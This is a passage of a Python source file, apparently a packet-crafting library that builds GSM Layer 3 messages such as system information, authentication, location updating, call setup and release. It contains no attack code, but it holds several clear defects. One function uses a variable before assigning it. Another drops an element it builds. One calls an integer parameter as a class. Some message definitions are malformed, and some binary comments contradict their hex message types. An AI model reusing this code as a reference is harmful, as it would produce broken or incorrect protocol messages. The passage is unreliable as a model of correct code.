TpPd(pd=0x6) c = MessageType(mesType=0x3) # 00000011 d = NeighbourCellsDescription2() e = Si2terRestOctets() packet = a / b / c / d / e return packet # This message has a L2 Pseudo Length of 18 # Network to MS def systemInformationType3(): """SYSTEM INFORMATION TYPE 3 Section 9.1.35""" a = L2PseudoLength(l2pLength=0x12) b = TpPd(pd=0x6) c = MessageType(mesType=0x1b) # 00011011 d = CellIdentity() e = LocalAreaId() f = ControlChannelDescription() g = CellOptionsBCCH() h = CellSelectionParameters() i = RachControlParameters() j = Si3RestOctets() packet = a / b / c / d / e / f / g / h / i / j return packet #The L2 pseudo length of this message is the #sum of lengths of all information elements present in the message except #the SI 4 Rest Octets and L2 Pseudo Length # Network to MS def systemInformationType4(ChannelDescription_presence=0, MobileAllocation_presence=0): """SYSTEM INFORMATION TYPE 4 Section 9.1.36""" a = L2PseudoLength() b = TpPd(pd=0x6) c = MessageType(mesType=0x1C) # 000111100 d = LocalAreaId() e = CellSelectionParameters() f = RachControlParameters() packet = a / b / c / d / e / f if ChannelDescription_presence is 1: g = ChannelDescriptionHdr(ieiCD=0x64, eightBitCD=0x0) packet = packet / g if MobileAllocation_presence is 1: h = MobileAllocationHdr(ieiMA=0x72, eightBitMA=0x0) packet = packet / h i = Si4RestOctets() packet = packet / i return packet #This message has a L2 Pseudo Length of 18 # Network to MS def systemInformationType5(): """SYSTEM INFORMATION TYPE 5 Section 9.1.37""" a = L2PseudoLength(l2pLength=0x12) b = TpPd(pd=0x6) c = MessageType(mesType=0x35) # 000110101 d = NeighbourCellsDescription() packet = a / b / c / d return packet #This message has a L2 Pseudo Length of 18 # Network to MS def systemInformationType5bis(): """SYSTEM INFORMATION TYPE 5bis Section 9.1.38""" a = L2PseudoLength(l2pLength=0x12) b = TpPd(pd=0x6) c = MessageType(mesType=0x5) # 00000101 d = NeighbourCellsDescription() packet = a / b / c / d return packet # This message has a L2 Pseudo Length of 18 # Network to MS def systemInformationType5ter(): """SYSTEM INFORMATION TYPE 5ter Section 9.1.39""" a = L2PseudoLength(l2pLength=0x12) b = TpPd(pd=0x6) c = MessageType(mesType=0x6) # 00000110 d = NeighbourCellsDescription2() packet = a / b / c / d return packet #This message has a L2 Pseudo Length of 11 # Network to MS def systemInformationType6(): """SYSTEM INFORMATION TYPE 6 Section 9.1.40""" a = L2PseudoLength(l2pLength=0x0b) b = TpPd(pd=0x6) c = MessageType(mesType=0x1e) # 00011011 d = CellIdentity() e = LocalAreaId() f = CellOptionsBCCH() g = NccPermitted() h = Si6RestOctets() packet = a / b / c / d / e / f / g return packet # The L2 pseudo length of this message has the value 1 # Network to MS def systemInformationType7(): """SYSTEM INFORMATION TYPE 7 Section 9.1.41""" a = L2PseudoLength(l2pLength=0x01) b = TpPd(pd=0x6) c = MessageType(mesType=0x37) # 000110111 d = Si7RestOctets() packet = a / b / c / d return packet # The L2 pseudo length of this message has the value 1 # Network to MS def systemInformationType8(): """SYSTEM INFORMATION TYPE 8 Section 9.1.42""" a = L2PseudoLength(l2pLength=0x01) b = TpPd(pd=0x6) c = MessageType(mesType=0x18) # 00011000 d = Si8RestOctets() packet = a / b / c / d return packet # The L2 pseudo length of this message has the value 1 # Network to MS def systemInformationType9(): """SYSTEM INFORMATION TYPE 9 Section 9.1.43""" a = L2PseudoLength(l2pLength=0x01) b = TpPd(pd=0x6) c = MessageType(mesType=0x4) # 00000100 d = Si9RestOctets() packet = a / b / c / d return packet # The L2 pseudo length of this message has the value 0 # Network to MS def systemInformationType13(): """SYSTEM INFORMATION TYPE 13 Section 9.1.43a""" a = L2PseudoLength(l2pLength=0x00) b = TpPd(pd=0x6) c = MessageType(mesType=0x0) # 00000000 d = Si13RestOctets() packet = a / b / c / d return packet # # 9.1.43b / c spare # # The L2 pseudo length of this message has the value 1 # Network to MS def systemInformationType16(): """SYSTEM INFORMATION TYPE 16 Section 9.1.43d""" a = L2PseudoLength(l2pLength=0x01) b = TpPd(pd=0x6) c = MessageType(mesType=0x3d) # 00111101 d = Si16RestOctets() packet = a / b / c / d return packet # The L2 pseudo length of this message has the value 1 # Network to MS def systemInformationType17(): """SYSTEM INFORMATION TYPE 17 Section 9.1.43e""" a = L2PseudoLength(l2pLength=0x01) b = TpPd(pd=0x6) c = MessageType(mesType=0x3e) # 00111110 d = Si17RestOctets() packet = a / b / c / d return packet def talkerIndication(): """TALKER INDICATION Section 9.1.44""" a = TpPd(pd=0x6) b = MessageType(mesType=0x11) # 00010001 c = MobileStationClassmark2() d = MobileId() packet = a / b / c / d return packet class UplinkAccess(): """UPLINK ACCESS Section 9.1.45""" name = "Uplink Access" fields_desc = [ ByteField("establishment", 0x0) ] # Network to MS def uplinkBusy(): """UPLINK BUSY Section 9.1.46""" name = "Uplink Busy" a = TpPd(pd=0x6) b = MessageType(mesType=0x2a) # 00101010 packet = a / b return packet # Network to MS class UplinkFree(): """UPLINK FREE Section 9.1.47""" name = "Uplink Free" fields_desc = [ BitField("pd", 0x0, 1), BitField("msgType", 0x0, 5), BitField("layer2Header", 0x0, 2), BitField("uplinkAccess", 0x0, 1), BitField("lOrH", 0x0, 1), # 0 for L, 1 for H BitField("upIdCode", 0x0, 6), ] def uplinkRelease(): """UPLINK RELEASE Section 9.1.48""" a = TpPd(pd=0x6) b = MessageType(mesType=0xe) # 00001110 c = RrCause() packet = a / b / c return packet # Network to MS def vgcsUplinkGrant(): """VGCS UPLINK GRANT Section 9.1.49""" a = TpPd(pd=0x6) b = MessageType(mesType=0x9) # 00001001 c = RrCause() d = RequestReference() e = TimingAdvance() packet = a / b / c / d / e return packet # Network to MS def systemInformationType10(): """SYSTEM INFORMATION TYPE 10 Section 9.1.50""" name = "SyStem Information Type 10" fields_desc = [ BitField("pd", 0x0, 1), BitField("msgType", 0x0, 5), BitField("layer2Header", 0x0, 2), BitField("si10", 0x0, 160) ] # Network to MS # The L2 pseudo length of this message has the value 18 def extendedMeasurementOrder(): """EXTENDED MEASUREMENT ORDER Section 9.1.51""" a = L2PseudoLength(l2pLength=0x12) b = TpPd(pd=0x6) c = MessageType(mesType=0x37) # 00110111 d = ExtendedMeasurementFrequencyList() packet = a / b / c / d return packet def extendedMeasurementReport(): """EXTENDED MEASUREMENT REPORT Section 9.1.52""" a = TpPd(pd=0x6) b = MessageType(mesType=0x36) # 00110110 c = ExtendedMeasurementResults() packet = a / b / c return packet def applicationInformation(): """APPLICATION INFORMATION Section 9.1.53""" a = TpPd(pd=0x6) b = MessageType(mesType=0x38) # 00111000 c = ApduIDAndApduFlags() e = ApduData() packet = a / b / c / e return packet # # 9.2 Messages for mobility management # # Network to MS def authenticationReject(): """AUTHENTICATION REJECT Section 9.2.1""" a = TpPd(pd=0x5) b = MessageType(mesType=0x11) # 00010001 packet = a / b return packet # Network to MS def authenticationRequest(): """AUTHENTICATION REQUEST Section 9.2.2""" a = TpPd(pd=0x5) b = MessageType(mesType=0x12) # 00010010 c = CiphKeySeqNrAndSpareHalfOctets() d = AuthenticationParameterRAND() packet = a / b / c / d return packet def authenticationResponse(): """AUTHENTICATION RESPONSE Section 9.2.3""" a = TpPd(pd=0x5) b = MessageType(mesType=0x14) # 00010100 c = AuthenticationParameterSRES() packet = a / b / c return packet def cmReestablishmentRequest(LocalAreaId_presence=0): """CM RE-ESTABLISHMENT REQUEST Section 9.2.4""" a = TpPd(pd=0x5) b = MessageType(mesType=0x28) # 00101000 c = CiphKeySeqNrAndSpareHalfOctets() e = MobileStationClassmark2() f = MobileId() if LocalAreaId_presence is 1: g = LocalAreaId(iei=0x13, eightbit=0x0) packet = packet / g packet = a / b / c / e / f return packet # Network to MS def cmServiceAccept(): """CM SERVICE ACCEPT Section 9.2.5""" a = TpPd(pd=0x5) b = MessageType(mesType=0x21) # 00100001 packet = a / b return packet # Network to MS def cmServicePrompt(): """CM SERVICE PROMPT Section 9.2.5a""" a = TpPd(pd=0x5) b = MessageType(mesType=0x25) # 00100101 c = PdAndSapi() packet = a / b / c return packet # Network to MS def cmServiceReject(): """CM SERVICE REJECT Section 9.2.6""" a = TpPd(pd=0x5) b = MessageType(mesType=0x22) # 00100010 c = RejectCause() packet = a / b / c return packet def cmServiceAbort(): """CM SERVICE ABORT Section 9.2.7""" a = TpPd(pd=0x5) b = MessageType(mesType=0x23) # 00100011 packet = a / b return packet # Network to MS def abort(): """ABORT Section 9.2.8""" a = TpPd(pd=0x5) b = MessageType(mesType=0x29) # 00101001 c = RejectCause() packet = a / b / c return packet def cmServiceRequest(PriorityLevel_presence=0): """CM SERVICE REQUEST Section 9.2.9""" a = TpPd(pd=0x5) b = MessageType(mesType=0x24) # 00100100 c = CmServiceTypeAndCiphKeySeqNr() e = MobileStationClassmark2() f = MobileId() packet = a / b / c / e / f if PriorityLevel_presence is 1: g = PriorityLevelHdr(ieiPL=0x8, eightBitPL=0x0) packet = packet / g return packet # Network to MS def identityRequest(): """IDENTITY REQUEST Section 9.2.10""" a = TpPd(pd=0x5) b = MessageType(mesType=0x8) # 00001000 c = IdentityTypeAndSpareHalfOctets() packet = a / b / c return packet def identityResponse(): """IDENTITY RESPONSE Section 9.2.11""" a = TpPd(pd=0x5) b = MessageType(mesType=0x9) # 00001001 c = MobileId() packet = a / b / c return packet def imsiDetachIndication(): """IMSI DETACH INDICATION Section 9.2.12""" a = TpPd(pd=0x5) b = MessageType(mesType=0x1) # 00000001 c = MobileStationClassmark1() d = MobileId() packet = a / b / c / d return packet # Network to MS def locationUpdatingAccept(MobileId_presence=0, FollowOnProceed_presence=0, CtsPermission_presence=0): """LOCATION UPDATING ACCEPT Section 9.2.13""" a = TpPd(pd=0x5) b = MessageType(mesType=0x02) # 00000010 c = LocalAreaId() packet = a / b / c if MobileId_presence is 1: d = MobileIdHdr(ieiMI=0x17, eightBitMI=0x0) packet = packet / d if FollowOnProceed_presence is 1: e = FollowOnProceed(ieiFOP=0xA1) packet = packet / e if CtsPermission_presence is 1: f = CtsPermissionHdr(ieiCP=0xA2, eightBitCP=0x0) packet = packet / f return packet # Network to MS def locationUpdatingReject(): """LOCATION UPDATING REJECT Section 9.2.14""" a = TpPd(pd=0x5) b = MessageType(mesType=0x4) # 0x00000100 c = RejectCause() packet = a / b / c return packet def locationUpdatingRequest(): """LOCATION UPDATING REQUEST Section 9.2.15""" a = TpPd(pd=0x5) b = MessageType(mesType=0x8) # 00001000 c = LocationUpdatingTypeAndCiphKeySeqNr() e = LocalAreaId() f = MobileStationClassmark1() g = MobileId() packet = a / b / c / e / f / g return packet # Network to MS def mmInformation(NetworkName_presence=0, NetworkName_presence1=0, TimeZone_presence=0, TimeZoneAndTime_presence=0, LsaIdentifier_presence=0): """MM INFORMATION Section 9.2.15a""" a = TpPd(pd=0x5) b = MessageType(mesType=0x32) # 00110010 packet = a / b if NetworkName_presence is 1: c = NetworkNameHdr(ieiNN=0x43, eightBitNN=0x0) packet = packet / c if NetworkName_presence1 is 1: d = NetworkNameHdr(ieiNN=0x45, eightBitNN=0x0) packet = packet / d if TimeZone_presence is 1: e = TimeZoneHdr(ieiTZ=0x46, eightBitTZ=0x0) packet = packet / e if TimeZoneAndTime_presence is 1: f = TimeZoneAndTimeHdr(ieiTZAT=0x47, eightBitTZAT=0x0) packet = packet / f if LsaIdentifier_presence is 1: g = LsaIdentifierHdr(ieiLI=0x48, eightBitLI=0x0) packet = packet / g return packet def mmStatus(): """MM STATUS Section 9.2.16""" a = TpPd(pd=0x5) b = MessageType(mesType=0x31) # 00110001 c = RejectCause() packet = a / b / c return packet # Network to MS def tmsiReallocationCommand(): """TMSI REALLOCATION COMMAND Section 9.2.17""" a = TpPd(pd=0x5) b = MessageType(mesType=0x1a) # 00011010 c = LocalAreaId() d = MobileId() packet = a / b / c / d return packet def tmsiReallocationComplete(): """TMSI REALLOCATION COMPLETE Section 9.2.18""" a = TpPd(pd=0x5) b = MessageType(mesType=0x1b) # 00011011 packet = a / b return packet def mmNull(): """MM NULL Section 9.2.19""" a = TpPd(pd=0x5) b = MessageType(mesType=0x30) # 00110000 packet = a / b return packet # # 9.3 Messages for circuit-switched call control # # Network to MS def alertingNetToMs(Facility_presence=0, ProgressIndicator_presence=0, UserUser_presence=0): """ALERTING Section 9.3.1.1""" a = TpPd(pd=0x3) b = MessageType(mesType=0x1) # 00000001 packet = a / b if Facility_presence is 1: c = FacilityHdr(ieiF=0x1C) packet = packet / c if ProgressIndicator_presence is 1: d = ProgressIndicatorHdr(ieiPI=0x1E) packet = packet / d if UserUser_presence is 1: e = UserUserHdr(ieiUU=0x7E) packet = packet / e return packet def alertingMsToNet(Facility_presence=0, UserUser_presence=0, SsVersionIndicator_presence=0): """ALERTING Section 9.3.1.2""" a = TpPd(pd=0x3) b = MessageType(mesType=0x1) # 00000001 packet = a / b if Facility_presence is 1: c = FacilityHdr(ieiF=0x1C, eightBitF=0x0) packet = packet / c if UserUser_presence is 1: d = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0) packet = packet / d if SsVersionIndicator_presence is 1: e = SsVersionIndicatorHdr(ieiSVI=0x7F, eightBitSVI=0x0) packet = packet / e return packet def callConfirmed(RepeatIndicator_presence=0, BearerCapability_presence=0, BearerCapability_presence1=0, Cause_presence=0, CallControlCapabilities_presence=0): """CALL CONFIRMED Section 9.3.2""" a = TpPd(pd=0x3) b = MessageType(mesType=0x8) # 00001000 packet = a / b if RepeatIndicator_presence is 1: c = RepeatIndicatorHdr(ieiRI=0xD, eightBitRI=0x0) packet = packet / c if BearerCapability_presence is 1: d = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0) packet = packet / d if BearerCapability_presence1 is 1: e = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0) packet = packet / e if Cause_presence is 1: f = CauseHdr(ieiC=0x08, eightBitC=0x0) packet = packet / f if CallControlCapabilities_presence is 1: g = CallControlCapabilitiesHdr(ieiCCC=0x15, eightBitCCC=0x0) packet = packet / g return packet # Network to MS def callProceeding(RepeatIndicator_presence=0, BearerCapability_presence=0, BearerCapability_presence1=0, Facility_presence=0, ProgressIndicator_presence=0, PriorityLevel_presence=0): """CALL PROCEEDING Section 9.3.3""" a = TpPd(pd=0x3) b = MessageType(mesType=0x2) # 00000010 packet = a / b if RepeatIndicator_presence is 1: c = RepeatIndicatorHdr(ieiRI=0xD, eightBitRI=0x0) packet = packet / c if BearerCapability_presence is 1: d = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0) packet = packet / d if BearerCapability_presence1 is 1: e = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0) packet = packet / e if Facility_presence is 1: f = FacilityHdr(ieiF=0x1C, eightBitF=0x0) packet = packet / f if ProgressIndicator_presence is 1: g = ProgressIndicatorHdr(ieiPI=0x1E, eightBitPI=0x0) packet = packet / g if PriorityLevel_presence is 1: h = PriorityLevelHdr(ieiPL=0x80, eightBitPL=0x0) packet = packet / h return packet # Network to MS def congestionControl(Cause_presence=0): """CONGESTION CONTROL Section 9.3.4""" a = TpPd(pd=0x3) b = MessageType(mesType=0x39) # 00111001 c = CongestionLevelAndSpareHalfOctets() packet = a / b / c if Cause_presence is 1: e = CauseHdr(ieiC=0x08, eightBitC=0x0) packet = packet / e return packet # Network to MS def connectNetToMs(Facility_presence=0, ProgressIndicator_presence=0, ConnectedNumber_presence=0, ConnectedSubaddress_presence=0, UserUser_presence=0): """CONNECT Section 9.3.5.1""" a = TpPd(pd=0x3) b = MessageType(mesType=0x7) # 00000111 packet = a / b if Facility_presence is 1: c = FacilityHdr(ieiF=0x1C, eightBitF=0x0) packet = packet / c if ProgressIndicator_presence is 1: d = ProgressIndicatorHdr(ieiPI=0x1E, eightBitPI=0x0) packet = packet / d if ConnectedNumber_presence is 1: e = ConnectedNumberHdr(ieiCN=0x4C, eightBitCN=0x0) packet = packet / e if ConnectedSubaddress_presence is 1: f = ConnectedSubaddressHdr(ieiCS=0x4D, eightBitCS=0x0) packet = packet / f if UserUser_presence is 1: g = UserUserHdr(ieiUU=0x7F, eightBitUU=0x0) packet = packet / g return packet def connectMsToNet(Facility_presence=0, ConnectedSubaddress_presence=0, UserUser_presence=0, SsVersionIndicator_presence=0): """CONNECT Section 9.3.5.2""" a = TpPd(pd=0x3) b = MessageType(mesType=0x7) # 00000111 packet = a / b if Facility_presence is 1: c = FacilityHdr(ieiF=0x1C, eightBitF=0x0) packet = packet / c if ConnectedSubaddress_presence is 1: d = ConnectedSubaddressHdr(ieiCS=0x4D, eightBitCS=0x0) packet = packet / d if UserUser_presence is 1: e = UserUserHdr(ieiUU=0x7F, eightBitUU=0x0) packet = packet / e if SsVersionIndicator_presence is 1: f = SsVersionIndicatorHdr(ieiSVI=0x7F, eightBitSVI=0x0) packet = packet / f return packet def connectAcknowledge(): """CONNECT ACKNOWLEDGE Section 9.3.6""" a = TpPd(pd=0x3) b = MessageType(mesType=0xf) # 00001111 packet = a / b return packet # Network to MS def disconnectNetToMs(Facility_presence=0, ProgressIndicator_presence=0, UserUser_presence=0, AllowedActions_presence=0): """DISCONNECT Section 9.3.7.1""" a = TpPd(pd=0x3) b = MessageType(mesType=0x25) # 00100101 c = Cause() packet = a / b / c if Facility_presence is 1: d = FacilityHdr(ieiF=0x1C, eightBitF=0x0) packet = packet / d if ProgressIndicator_presence is 1: e = ProgressIndicatorHdr(ieiPI=0x1E, eightBitPI=0x0) packet = packet / e if UserUser_presence is 1: f = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0) packet = packet / f if AllowedActions_presence is 1: g = AllowedActionsHdr(ieiAA=0x7B, eightBitAA=0x0) packet = packet / g return packet def disconnectMsToNet(Facility_presence=0, UserUser_presence=0, SsVersionIndicator_presence=0): """Disconnect Section 9.3.7.2""" a = TpPd(pd=0x3) b = MessageType(mesType=0x25) # 00100101 c = Cause() packet = a / b / c if Facility_presence is 1: d = FacilityHdr(ieiF=0x1C, eightBitF=0x0) packet = packet / d if UserUser_presence is 1: e = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0) packet = packet / e if SsVersionIndicator_presence is 1: f = SsVersionIndicatorHdr(ieiSVI=0x7F, eightBitSVI=0x0) packet = packet / f return packet def emergencySetup(BearerCapability_presence=0): """EMERGENCY SETUP Section 9.3.8""" a = TpPd(pd=0x3) b = MessageType(mesType=0xe) # 00001110 packet = a / b if BearerCapability_presence is 1: c = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0) packet = packet / c return packet # Network to MS def facilityNetToMs(): """FACILITY Section 9.3.9.1""" a = TpPd(pd=0x3) b = MessageType(mesType=0x3a) # 00111010 c = Facility() packet = a / b / c return packet def facilityMsToNet(SsVersionIndicator_presence=0): """FACILITY Section 9.3.9.2""" a = TpPd(pd=0x3) b = MessageType(mesType=0x3a) # 00111010 c = Facility() packet = a / b / c if SsVersionIndicator_presence is 1: d = SsVersionIndicatorHdr(ieiSVI=0x7F, eightBitSVI=0x0) packet = packet / d return packet def hold(): """HOLD Section 9.3.10""" a = TpPd(pd=0x3) b = MessageType(mesType=0x18) # 00011000 packet = a / b return packet # Network to MS def holdAcknowledge(): """HOLD ACKNOWLEDGE Section 9.3.11""" a = TpPd(pd=0x3) b = MessageType(mesType=0x19) # 00011001 packet = a / b return packet # Network to MS def holdReject(): """HOLD REJECT Section 9.3.12""" a = TpPd(pd=0x3) b = MessageType(mesType=0x1a) # 00011010 c = Cause() packet = a / b / c return packet def modify(LowLayerCompatibility_presence=0, HighLayerCompatibility_presence=0, ReverseCallSetupDirection_presence=0): """MODIFY Section 9.3.13""" a = TpPd(pd=0x3) b = MessageType(mesType=0x17) # 00010111 c = BearerCapability() packet = a / b / c if LowLayerCompatibility_presence is 1: d = LowLayerCompatibilityHdr(ieiLLC=0x7C, eightBitLLC=0x0) packet = packet / d if HighLayerCompatibility_presence is 1: e = HighLayerCompatibilityHdr(ieiHLC=0x7D, eightBitHLC=0x0) packet = packet / e if ReverseCallSetupDirection_presence is 1: f = ReverseCallSetupDirectionHdr(ieiRCSD=0xA3) packet = packet / f return packet def modifyComplete(LowLayerCompatibility_presence=0, HighLayerCompatibility_presence=0, ReverseCallSetupDirection_presence=0): """MODIFY COMPLETE Section 9.3.14""" a = TpPd(pd=0x3) b = MessageType(mesType=0x1f) # 00011111 c = BearerCapability() packet = a / b / c if LowLayerCompatibility_presence is 1: d = LowLayerCompatibilityHdr(ieiLLC=0x7C, eightBitLLC=0x0) packet = packet / d if HighLayerCompatibility_presence is 1: e = HighLayerCompatibilityHdr(ieiHLC=0x7D, eightBitHLC=0x0) packet = packet / e if ReverseCallSetupDirection_presence is 1: f = ReverseCallSetupDirection(ieiRCSD=0xA3) packet = packet / f return packet def modifyReject(LowLayerCompatibility_presence=0, HighLayerCompatibility_presence=0): """MODIFY REJECT Section 9.3.15""" a = TpPd(pd=0x3) b = MessageType(mesType=0x13) # 00010011 c = BearerCapability() d = Cause() packet = a / b / c / d if LowLayerCompatibility_presence is 1: e = LowLayerCompatibilityHdr(ieiLLC=0x7C, eightBitLLC=0x0) packet = packet / e if HighLayerCompatibility_presence is 1: f = HighLayerCompatibilityHdr(ieiHLC=0x7D, eightBitHLC=0x0) packet = packet / f return packet def notify(): """NOTIFY Section 9.3.16""" a = TpPd(pd=0x3) b = MessageType(mesType=0x3e) # 00111110 c = NotificationIndicator() packet = a / b / c return packet # Network to MS def progress(UserUser_presence=0): """PROGRESS Section 9.3.17""" a = TpPd(pd=0x3) b = MessageType(mesType=0x3) # 00000011 c = ProgressIndicator() packet = a / b / c if UserUser_presence is 1: d = UserUserHdr() packet = packet / d return packet # Network to MS def ccEstablishment(): """CC-ESTABLISHMENT Section 9.3.17a""" a = TpPd(pd=0x3) b = MessageType(mesType=0x4) # 00000100 c = SetupContainer() packet = a / b / c return packet def ccEstablishmentConfirmed(RepeatIndicator_presence=0, BearerCapability_presence=0, BearerCapability_presence1=0, Cause_presence=0): """CC-ESTABLISHMENT CONFIRMED Section 9.3.17b""" a = TpPd(pd=0x3) b = MessageType(mesType=0x6) # 00000110 packet = a / b if RepeatIndicator_presence is 1: c = RepeatIndicatorHdr(ieiRI=0xD, eightBitRI=0x0) packet = packet / c if BearerCapability_presence is 1: d = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0) packet = packet / d if BearerCapability_presence1 is 1: e = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0) packet = packet / e if Cause_presence is 1: f = CauseHdr(ieiC=0x08, eightBitC=0x0) packet = packet / f return packet # Network to MS def releaseNetToMs(): """RELEASE Section 9.3.18.1""" a = TpPd(pd=0x3) b = MessageType(mesType=0x2d) # 00101101 c = CauseHdr(ieiC=0x08, eightBitC=0x0) d = CauseHdr(ieiC=0x08, eightBitC=0x0) e = FacilityHdr(ieiF=0x1C, eightBitF=0x0) f = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0) packet = a / b / c / d / e / f return packet def releaseMsToNet(Cause_presence=0, Cause_presence1=0, Facility_presence=0, UserUser_presence=0, SsVersionIndicator_presence=0): """RELEASE Section 9.3.18.2""" a = TpPd(pd=0x3) b = MessageType(mesType=0x2d) # 00101101 packet = a / b if Cause_presence is 1: c = CauseHdr(ieiC=0x08, eightBitC=0x0) packet = packet / c if Cause_presence1 is 1: d = CauseHdr(ieiC=0x08, eightBitC=0x0) packet = packet / d if Facility_presence is 1: e = FacilityHdr(ieiF=0x1C, eightBitF=0x0) packet = packet / e if UserUser_presence is 1: f = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0) packet = packet / f if SsVersionIndicator_presence is 1: g = SsVersionIndicatorHdr(ieiSVI=0x7F, eightBitSVI=0x0) packet = packet / g return packet # Network to MS def recall(): """RECALL Section 9.3.18a""" a = TpPd(pd=0x3) b = MessageType(mesType=0xb) # 00001011 c = RecallType() d = Facility() packet = a / b / c / d return packet # Network to MS def releaseCompleteNetToMs(Cause_presence=0, Facility_presence=0, UserUser_presence=0): """RELEASE COMPLETE Section 9.3.19.1""" a = TpPd(pd=0x3) b = MessageType(mesType=0x2a) # 00101010 packet = a / b if Cause_presence is 1: c = CauseHdr(ieiC=0x08, eightBitC=0x0) packet = packet / c if Facility_presence is 1: d = FacilityHdr(ieiF=0x1C, eightBitF=0x0) packet = packet / d if UserUser_presence is 1: e = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0) packet = packet / e return packet def releaseCompleteMsToNet(Cause_presence=0, Facility_presence=0, UserUser_presence=0, SsVersionIndicator_presence=0): """RELEASE COMPLETE Section 9.3.19.2""" a = TpPd(pd=0x3) b = MessageType(mesType=0x2a) # 00101010 packet = a / b if Cause_presence is 1: c = CauseHdr(ieiC=0x08, eightBitC=0x0) packet = packet / c if Facility_presence is 1: d = FacilityHdr(ieiF=0x1C, eightBitF=0x0) packet = packet / d if UserUser_presence is 1: e = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0) packet = packet / e if SsVersionIndicator_presence is 1: f = SsVersionIndicatorHdr(ieiSVI=0x7F, eightBitSVI=0x0) packet = packet / f return packet def retrieve(): """RETRIEVE Section 9.3.20""" a = TpPd(pd=0x3) b = MessageType(mesType=0x1c) # 00011100 packet = a / b return packet # Network to MS def retrieveAcknowledge(): """RETRIEVE ACKNOWLEDGE Section 9.3.21""" a = TpPd(pd=0x3) b = MessageType(mesType=0x1d) # 00011101 packet = a / b return packet # Network to MS def retrieveReject(): """RETRIEVE REJECT Section 9.3.22""" a = TpPd(pd=0x3) b = MessageType(mesType=0x1e) # 00011110 c = Cause() packet = a / b / c return packet # Network to MS def setupMobileTerminated(RepeatIndicator_presence=0, BearerCapability_presence=0, BearerCapability_presence1=0, Facility_presence=0, ProgressIndicator_presence=0, Signal_presence=0, CallingPartyBcdNumber_presence=0, CallingPartySubaddress_presence=0, CalledPartyBcdNumber_presence=0, CalledPartySubaddress_presence=0, # RecallType_presence=0, RedirectingPartyBcdNumber_presence=0, RedirectingPartySubaddress_presence=0, RepeatIndicator_presence1=0, LowLayerCompatibility_presence=0, LowLayerCompatibility_presence1=0, RepeatIndicator_presence2=0, HighLayerCompatibility_presence=0, HighLayerCompatibility_presence1=0, UserUser_presence=0, PriorityLevel_presence=0, AlertingPattern_presence=0): """SETUP Section 9.3.23.1""" a = TpPd(pd=0x3) b = MessageType(mesType=0x5) # 00000101 packet = a / b if RepeatIndicator_presence is 1: c = RepeatIndicatorHdr(ieiRI=0xD, eightBitRI=0x0) packet = packet / c if BearerCapability_presence is 1: d = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0) packet = packet / d if BearerCapability_presence1 is 1: e = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0) packet = packet / e if Facility_presence is 1: f = FacilityHdr(ieiF=0x1C, eightBitF=0x0) packet = packet / f if ProgressIndicator_presence is 1: g = ProgressIndicatorHdr(ieiPI=0x1E, eightBitPI=0x0) packet = packet / g if Signal_presence is 1: h = SignalHdr(ieiS=0x34, eightBitS=0x0) packet = packet / h if CallingPartyBcdNumber_presence is 1: i = CallingPartyBcdNumberHdr(ieiCPBN=0x5C, eightBitCPBN=0x0) packet = packet / i if CallingPartySubaddress_presence is 1: j = CallingPartySubaddressHdr(ieiCPS=0x5D, eightBitCPS=0x0) packet = packet / j if CalledPartyBcdNumber_presence is 1: k = CalledPartyBcdNumberHdr(ieiCPBN=0x5E, eightBitCPBN=0x0) packet = packet / k if CalledPartySubaddress_presence is 1: l = CalledPartySubaddressHdr(ieiCPS=0x6D, eightBitCPS=0x0) packet = packet / l if RedirectingPartyBcdNumber_presence is 1: n = RedirectingPartyBcdNumberHdr(ieiRPBN=0x74, eightBitRPBN=0x0) packet = packet / n if RedirectingPartySubaddress_presence is 1: m = RedirectingPartySubaddress_presence(ieiRPBN=0x75, eightBitRPBN=0x0) packet = packet / m if RepeatIndicator_presence1 is 1: o = RepeatIndicatorHdr(ieiRI=0xD0, eightBitRI=0x0) packet = packet / o if LowLayerCompatibility_presence is 1: p = LowLayerCompatibilityHdr(ieiLLC=0x7C, eightBitLLC=0x0) packet = packet / p if LowLayerCompatibility_presence1 is 1: q = LowLayerCompatibilityHdr(ieiLLC=0x7C, eightBitLLC=0x0) packet = packet / q if RepeatIndicator_presence2 is 1: r = RepeatIndicatorHdr(ieiRI=0xD, eightBitRI=0x0) packet = packet / r if HighLayerCompatibility_presence is 1: s = HighLayerCompatibilityHdr(ieiHLC=0x7D, eightBitHLC=0x0) packet = packet / s if HighLayerCompatibility_presence1 is 1: t = HighLayerCompatibilityHdr(ieiHLC=0x7D, eightBitHLC=0x0) packet = packet / t if UserUser_presence is 1: u = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0) packet = packet / u if PriorityLevel_presence is 1: v = PriorityLevelHdr(ieiPL=0x8, eightBitPL=0x0) packet = packet / v if AlertingPattern_presence is 1: w = AlertingPatternHdr(ieiAP=0x19, eightBitAP=0x0) packet = packet / w return packet def setupMobileOriginated(RepeatIndicator_presence=0, BearerCapability_presence=0, BearerCapability_presence1=0, Facility_presence=0, CallingPartySubaddress_presence=0, CalledPartyBcdNumber_presence=0, CalledPartySubaddress_presence=0, RepeatIndicator_presence1=0, LowLayerCompatibility_presence=0, LowLayerCompatibility_presence1=0, RepeatIndicator_presence2=0, HighLayerCompatibility_presence=0, HighLayerCompatibility_presence1=0, UserUser_presence=0, SsVersionIndicator_presence=0, ClirSuppression_presence=0, ClirInvocation_presence=0, CallControlCapabilities_presence=0, Facility_presence1=0, Facility_presence2=0): """SETUP Section 9.3.23.2""" a = TpPd(pd=0x3) b = MessageType(mesType=0x5) # 00000101 packet = a / b if RepeatIndicator_presence is 1: c = RepeatIndicatorHdr(ieiRI=0xD, eightBitRI=0x0) packet = packet / c if BearerCapability_presence is 1: d = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0) packet = packet / d if 